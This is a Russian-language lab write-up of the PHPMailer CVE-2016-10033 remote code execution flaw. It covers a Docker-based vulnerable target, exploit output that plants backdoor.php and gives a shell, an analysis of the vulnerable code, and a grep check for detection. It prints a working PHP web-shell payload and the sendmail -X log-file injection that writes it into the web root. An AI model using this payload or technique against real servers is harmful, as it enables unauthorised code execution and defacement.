
PHPMailer < 5.2.18 Удаленное выполнение кода
PHPMailer — самый популярный транспортный класс в мире, насчитывающий, по оценкам, 9 миллионов пользователей по всему миру. Загрузки продолжаются с большим ежедневным темпом. Используется многими проектами с открытым исходным кодом: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! и многими другими.
PHPMailer до версии 5.2.18 содержит уязвимость, которая может привести к удаленному выполнению кода (RCE). Функция mailSend в транспортном протоколе isMail в PHPMailer, когда свойство Sender не задано, может позволить удаленным злоумышленникам передавать дополнительные параметры команде mail и, как следствие, выполнять произвольный код через " (обратный слеш с двойной кавычкой) в подделанном адресе From.
Чтобы настроить уязвимую среду для вашего теста, вам понадобится установленный Docker, и просто выполните следующую команду:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
И она запустит уязвимое веб-приложение на вашем хосте на порту 8080

Чтобы эксплуатировать эту цель, просто выполните:
./exploit host:port
Если вы используете этот уязвимый образ, вы можете просто выполнить:
./exploit localhost:8080
После эксплуатации файл с именем backdoor.php будет сохранен в корневой папке веб-каталога. И эксплойт предоставит вам оболочку, где вы можете отправлять команды на бэкдор:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Вот и всё, у вас есть оболочка. Есть ещё один эксплойт, который иллюстрирует другой вариант использования.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
И если вы снова посетите страницу, вы увидите это:

До этого коммита в class.phpmailer.php в определённом сценарии не было фильтрации специальных символов в адресе электронной почты отправителя. Эта ошибка может привести к удаленному выполнению кода через функцию mail здесь.
Анализируя код, в функции mailSend() нет фильтрации
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender напрямую добавляется к переменной $params, которая фильтровалась в функции validateAddress(), но поскольку она использует спецификацию RFC 3696, это допускает определённые символы, которые нарушат работу.
В данном случае кавычки:
Помимо экранирования с помощью обратного слеша, обычные двойные кавычки могут использоваться для обрамления строк. Например
"Abc@def"@example.com
"Fred Bloggs"@example.com
это альтернативные формы первых двух примеров выше. Эти формы в кавычках редко рекомендуются и редко встречаются на практике, но, как обсуждалось выше, должны поддерживаться приложениями, которые обрабатывают адреса электронной почты. В частности, формы в кавычках часто появляются в контексте адресов, связанных с переходами из других систем и контекстов; такие переходные требования всё ещё возникают, и поскольку система, принимающая адрес электронной почты, введённый пользователем, не может "знать", связан ли этот адрес с устаревшей системой, формы адресов должны приниматься и передаваться в среду электронной почты.
Вы можете прочитать полный RFC здесь, если хотите. Но также, если версия PHP ниже 5.2.0 и не установлен PCRE, переменная $patternselect в validateAddress() будет установлена в noregex. Это вызовет то, что ввод сможет избежать любой проверки регулярным выражением. Он пройдёт только через небольшую проверку:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Затем поток выполнения переходит к функции mailPassthru(), которая, если выполняется в safe_mode, не будет уязвима к этой ошибке, как указано в следующем коде
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Но если он не выполняется в safe_mode, тогда наш специальный параметр будет передан в mail(), и, если нам повезло, он загрузит наш файл, содержащий всё, что мы хотим, туда, куда мы решим его записать.
Эксплуатация функции PHP mail() — не новость, но она всё ещё жива, и люди всё ещё её используют. Чтобы объяснить, как это работает, давайте посмотрим, как определена функция mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Существует несколько методов эксплуатации для различных результатов; мы сосредоточимся на эксплуатации 5-го параметра для получения удаленного выполнения кода (RCE). Параметр $additional_parameters используется для передачи дополнительных флагов в качестве параметров командной строки программе, настроенной для отправки электронной почты. Эта конфигурация определяется переменной sendmail_path.
Замечание по безопасности из официальной документации PHP:
Параметр additional_parameters может использоваться для передачи дополнительных флагов в качестве параметров командной строки программе, настроенной для отправки почты, как определено значением конфигурации sendmail_path. Например, это может быть использовано для установки адреса отправителя конверта при использовании sendmail с опцией -f sendmail.
Этот параметр экранируется функцией escapeshellcmd() внутри для предотвращения выполнения команд. escapeshellcmd() предотвращает выполнение команд, но позволяет добавлять дополнительные параметры. По соображениям безопасности рекомендуется проверять этот параметр, чтобы избежать добавления нежелательных параметров в команду оболочки.
Учитывая дополнительные параметры, которые могут быть вставлены, мы будем использовать -X для эксплуатации этой ошибки. Подробнее о параметре -X
-X logfile
Регистрировать весь трафик в почтовые программы и из них в указанный файл журнала. Это следует использовать только в крайнем случае для отладки ошибок почтовых программ. Это будет очень быстро регистрировать много данных.
Есть также некоторые другие интересные параметры, о которых вам следует знать:
-Cfile
Использовать альтернативный конфигурационный файл. Sendmail отказывается от любых повышенных привилегий (set-user-ID или set-group-ID), если указан альтернативный конфигурационный файл.
И
-O option=value
Установить опцию option в указанное значение. Эта форма использует длинные имена.
А для опции -O самой интересной является QueueDirectory, эта опция выбирает каталог, в котором ставятся в очередь сообщения.
Если вы хотите прочитать полный список параметров и опций, просто man sendmail или прочитайте онлайн здесь
Основываясь на этой информации и на возможности контролировать хотя бы один из других параметров, мы можем эксплуатировать хост. Ниже шаги для успешной эксплуатации:
$additional_parameters и другим параметром mail()webroot (например, /var/www/html для других систем, /www для этого примера)system() в этом примере, с добавлением base64 и некоторых специальных символов |, чтобы упростить разборПомните, что опция -X запишет файл журнала, который будет содержать среди прочего вашу полезную нагрузку PHP, в каталог, который вы укажете. Пример уязвимого кода PHP:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Если вы выполните приведённый выше код, он создаст файл журнала в /www/backdoor.php, в этом и заключается суть этого эксплойта.
Ниже приведена полезная нагрузка, используемая в этом примере
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
Хотите простой способ одним командным вызовом попытаться обнаружить эту ошибку? Запомните эту волшебную команду grep!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Выполнение её в этом репозитории даст
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Эта уязвимость была найдена Dawid Golunski.
Данная или предыдущая программа предназначена ТОЛЬКО для образовательных целей. Не используйте её без разрешения. Обычный отказ от ответственности применяется, особенно тот факт, что я (opsxcq) не несу ответственности за любые убытки, вызванные прямым или косвенным использованием информации или функциональности, предоставленных этими программами. Автор или любой интернет-провайдер не несёт ответственности за содержимое или неправильное использование этих программ или любых их производных. Используя эти программы, вы принимаете тот факт, что любой ущерб (потеря данных, сбой системы, компрометация системы и т.д.), вызванный использованием этих программ, не является ответственностью opsxcq.